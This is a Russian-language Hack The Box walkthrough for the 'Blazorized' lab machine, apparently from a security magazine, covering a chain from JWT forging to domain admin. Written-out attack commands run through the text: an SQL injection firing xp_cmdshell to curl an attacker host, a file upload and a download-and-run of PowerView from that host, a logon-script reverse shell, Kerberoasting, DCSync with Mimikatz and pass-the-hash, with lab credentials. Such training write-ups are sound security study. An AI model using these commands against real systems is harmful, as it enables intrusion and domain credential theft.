HTB Blazorized
Ломаем сайт на веб-платформе Blazor
Наша цель — получение прав суперпользователя на машине Blazorized с учебной площадки Hack The Box. Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.22 blazorized.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Скрипт нашел много открытых портов:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 1433 — MS SQL Server 2022;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — WinRM;
- 9389 — веб‑службы AD DS.
Без учетных данных ничего, кроме сайта, не доступно.

Хоть мы и загрузили всего одну страницу, в Burp History можно увидеть загрузку множества DLL-библиотек.

Это очень характерно для веб‑платформы Blazor.
Точка входа
Пройдемся по страницам на сайте, а затем снова проверим Burp History.

Находим еще один домен api.
и добавляем его в hosts
.
10.10.11.22 blazorized.htb api.blazorized.htb
Так как есть один поддомен, могут быть и другие, поэтому их нужно просканировать. Для этого применим утилиту ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-H
— HTTP-заголовок; -
-mc
— HTTP-код ответа.
Место перебора помечается словом FUZZ.
Задаем все нужные параметры и запускаем:
ffuf -u http://blazorized.htb -H 'Host: FUZZ.blazorized.htb' -w subdomains-bitquark-top100000.txt -t 128 -mc 200

Мы нашли еще один домен — admin.
, добавляем его в hosts
.
10.10.11.22 blazorized.htb api.blazorized.htb admin.blazorized.htb
На найденном поддомене нас встретит только форма авторизации.

Blazor позволяет узнать, какие на сервере используются библиотеки и расширения. Для этого достаточно запросить файл /
. У нас он уже есть в Burp History.

Когда приложение Blazor WebAssembly запускается, оно сначала получает все DLL-приложения. Поэтому, если DLL используется только на каких‑то определенных страницах, ее можно поместить в отложенную загрузку до тех пор, пока она не потребуется. Это помогает ускорить работу веб‑приложения.

Отметим библиотеку Blazored.
в lazyAssembly
(сборка отложенной загрузки) и скачаем ее для статического анализа. Так как библиотека написана на .NET, ее можно декомпилировать с помощью ILSpy. Среди всех декомпилированных классов нас интересует JWT
.


Справка: JSON Web Token (JWT)
JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload) и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON, при этом нагрузка может быть любой, это именно те критически важные данные, которые передаются приложению. Заголовок содержит определенные поля:
-
alg
— алгоритм, используемый для подписи/шифрования. Это обязательный ключ; -
typ
— тип токена. Это поле должно иметь значениеJWT
.
Третий элемент вычисляется на основании первых двух и зависит от выбранного алгоритма. Токены могут быть перекодированы в компактное представление: к заголовку и полезной нагрузке применяется алгоритм Base64-URL, после чего добавляется подпись и все три элемента разделяются точками.
Для анализа токенов можно использовать приложение jwt_tool или сайт jwt.io.
Этот класс раскрывает нам структуру JWT, роли, секреты и даже имя администратора. Единственное, что нам нужно сгенерировать самостоятельно для подделки токена, — это срок действия билета (exp
). Для этого переведем какую‑нибудь дату из будущего в формат Unix.

Затем пройдем на jwt.io, соберем токен JWT и укажем секрет для подписи.

В локальном хранилище браузера откроем данные сайта admin.
и создадим запись с JWT-токеном. После обновления страницы получаем доступ к панели администратора.

Точка опоры
Проверяем сайт и находим функцию проверки заголовков постов на наличие дубликатов.

Так как на сервере работает СУБД MS SQL, возможно, приложение использует базу данных. Проверим, нет ли возможности для SQL-инъекции простой нагрузкой: '
. Сервер вернул число 13, а не 0, как в прошлый раз, поэтому SQL-инъекция возможна.

Сразу попробуем выполнить команду через процедуру xp_cmdshell
. На своем хосте запустим веб‑сервер:
python3 -m http.server 8000
А на сайте отправим нагрузку для выполнения запроса через curl.
asd'; exec master.dbo.xp_cmdshell 'curl http://10.10.16.53:8000/test_rce' -- -

Запрос пришел на веб‑сервер, а значит, мы можем запустить листенер:
rlwrap nc -nlvp 4321
И теперь выполняем реверс‑шелл, сгенерированный на сайте Online Reverse Shell Generator.

У полученного пользователя забираем первый флаг.

Продвижение
Пользователь SSA_6010
Теперь, когда у нас есть сессия доменного пользователя, мы можем собрать и проанализировать данные с помощью BloodHound.
Справка: BloodHound
Утилита BloodHound использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для Windows — на PowerShell или C# — и для Linux — на Python.
SharpHound.exe -c All

В результате работы утилиты получим архив с данными. Чтобы загрузить его с удаленного сервера на локальную машину, воспользуемся моим веб‑сервером с возможностью загрузки файлов на сервер. На локальной машине запускаем веб‑сервер, а на удаленной выполняем загрузку через PowerShell.
$wc=New-Object System.Net.WebClient; $resp=$wc.UploadFile('http://10.10.16.53:8000/',"C:\Windows\Tasks\20240830080113_BloodHound.zip")
Теперь можно построить и проанализировать граф от скомпрометированных пользователей.

Видим, что у пользователя NU_1055 есть право записи в атрибут SPN учетки RSA_4810. После записи SPN можно будет провести атаку Kerberoasting, что позволит подобрать пароль целевой учетной записи. Для этого будем использовать скрипт PowerView, загружаемый с нашего локального веб‑сервера.
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.53:8000/PowerView4.ps1')Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='qwe/ralf'}Get-DomainSPNTicket -SPN qwe/ralf

Этот хеш очень быстро перебирается с помощью hashcat.

Новый пользователь может получить сессию через службу WinRM.
evil-winrm -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)' -i 10.10.11.22

Пользователь RSA_4810
В окружении пользователя ничего интересного найти не удалось, BloodHound никаких связей не показал. Копнем чуть глубже в ACL и проверим права записи в атрибуты других объектов домена с помощью bloodyAD.
bloodyAD --host 10.10.11.22 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)' -d blazorized.htb get writable

Таким образом, учетная запись RSA_4810 имеет право записи в какие‑то атрибуты учетной записи SSA_6010. Узнаем, какие именно атрибуты можно переписать.
bloodyAD --host 10.10.11.22 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)' -d blazorized.htb get writable --detail

Скрипт, указанный в атрибуте ScriptPath
, будет выполняться при логоне пользователя. Просмотрим права на скрипты.
icacls C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\*

Находим объект A32FF3AEAA23
, который можно перезаписать. Перезаписываем скрипт на реверс‑шелл, открываем листенер (nc
), а затем указываем этот скрипт в атрибуте учетной записи SSA_6010.
echo "powershell -e JABjA.....AA==" | Out-File -FilePath C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\script.bat -Encoding ASCIISet-ADUser -Identity SSA_6010 -ScriptPath C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\script.bat
Спустя какое‑то время получаем сессию в окне листенера.

Локальное повышение привилегий
Судя по данным BloodHound, пользователь SSA_6010 имеет право репликации учетных данных домена.

Все учетные записи домена нам не нужны, хватит только администратора. Запросить хеш его пароля можно с помощью Mimikatz.
.\mimikatz.exe "lsadump::dcsync /user:administrator" "exit"

С хешем админа авторизуемся через WinRM и читаем последний флаг.
evil-winrm -u administrator -H f55ed1465179ba374ec1cad05b34a5f3 -i 10.10.11.22

Машина захвачена!